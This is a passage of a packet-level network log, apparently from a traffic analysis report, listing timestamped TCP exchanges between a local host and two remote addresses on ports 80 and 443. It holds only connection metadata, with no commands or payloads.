Nov 20, 2024 00:19:21.017477036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017483950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017496109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017503023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017509937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017512083 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017512083 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017512083 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017518044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017524958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017591000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017597914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017608881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017616034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017618895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017618895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017621040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017628908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017640114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017646074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017652035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017671108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017685890 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017694950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017704010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017709017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017714977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017714977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017714977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017723083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017736912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017743111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017750025 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017764091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017781019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017781019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018064022 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018064022 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018254042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018260956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018270969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018392086 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018395901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018403053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018414974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018420935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018426895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018438101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018443108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018451929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018455982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018466949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018469095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018475056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018481970 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018486977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018493891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018548965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018554926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018565893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018572092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018574953 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018574953 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018577099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018584013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018611908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018620014 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018625021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018639088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018640995 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018645048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018651009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018660069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018667936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018677950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018685102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018692017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018697977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018697977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018709898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.018767118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018767118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.018767118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019351959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019359112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019364119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019368887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019375086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019381046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019386053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019391060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019397020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019402027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019407988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019417048 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019418955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019426107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019433022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019438982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019443035 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019447088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019453049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019473076 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019496918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019499063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019499063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019504070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019526958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019536972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019541979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019547939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019552946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019557953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019562960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019567966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019571066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019575119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019582987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019593954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019599915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019606113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019612074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019617081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019618034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019634008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.019954920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019954920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.019954920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020164967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020184994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020190954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020199060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020215034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020220995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020226002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020232916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020242929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020248890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020255089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020266056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020271063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020289898 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020303965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020318031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020323038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020323038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020329952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020337105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020342112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020348072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020359039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020364046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020365000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020373106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020384073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020390034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020396948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020401001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020407915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020410061 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020414114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020441055 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020490885 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020490885 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020494938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020503044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020508051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020514011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020525932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020531893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020536900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020543098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020548105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020554066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020560026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020565987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020571947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020582914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020584106 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020584106 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020607948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020607948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020704985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.020905018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020912886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020984888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020992041 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.020998955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021004915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021011114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021049023 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021130085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021137953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021143913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021151066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021162033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021168947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021173954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021181107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021207094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021207094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021270990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021282911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021290064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021296024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021307945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021313906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021320105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021326065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021331072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021332026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021331072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021331072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021339893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021348000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021403074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021403074 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021433115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021439075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021450043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021456003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021456003 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021461964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021469116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021480083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021486044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021491051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021502018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021506071 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021507978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021521091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021527052 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021543980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021549940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021550894 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021550894 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021550894 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021557093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.021600008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.021625996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.046113014 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.056240082 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.060163021 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.060163021 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.060225010 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.060275078 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.159521103 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.159596920 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.159748077 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.160001040 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.160032034 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.160064936 CET	49789	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.160079956 CET	443	49789	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.163405895 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.163500071 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.166302919 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.168911934 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.168943882 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.459295034 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.459817886 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.459866047 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.461570024 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.461585045 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.498600006 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.500513077 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.515068054 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.515104055 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.515656948 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.515664101 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.515995026 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.516026020 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.516386032 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.516398907 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.563685894 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.563740015 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.563828945 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.564960003 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.564985037 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.565011978 CET	49791	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.565020084 CET	443	49791	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.567820072 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.567890882 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.568001032 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.568201065 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.568233013 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.616381884 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.616527081 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.616740942 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.616893053 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.616916895 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.616930962 CET	49793	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.616939068 CET	443	49793	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.618477106 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.618550062 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.619040012 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.619689941 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.619756937 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.619827032 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.619950056 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.619976997 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.619985104 CET	49792	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.619993925 CET	443	49792	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.621248007 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.621282101 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.622556925 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.622590065 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.622772932 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.623013020 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.623039961 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.677691936 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.678193092 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.678224087 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.679760933 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.679786921 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.785655975 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.785718918 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.785774946 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.792377949 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.792417049 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.792428017 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.792435884 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.795645952 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.795769930 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.795855045 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.796219110 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.796272039 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.823559046 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.824093103 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.824112892 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.824594975 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.824605942 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.930793047 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.930857897 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.930933952 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.931145906 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.931168079 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.931183100 CET	49795	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.931190968 CET	443	49795	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:21.934690952 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.934739113 CET	443	49800	13.107.246.45	192.168.2.6
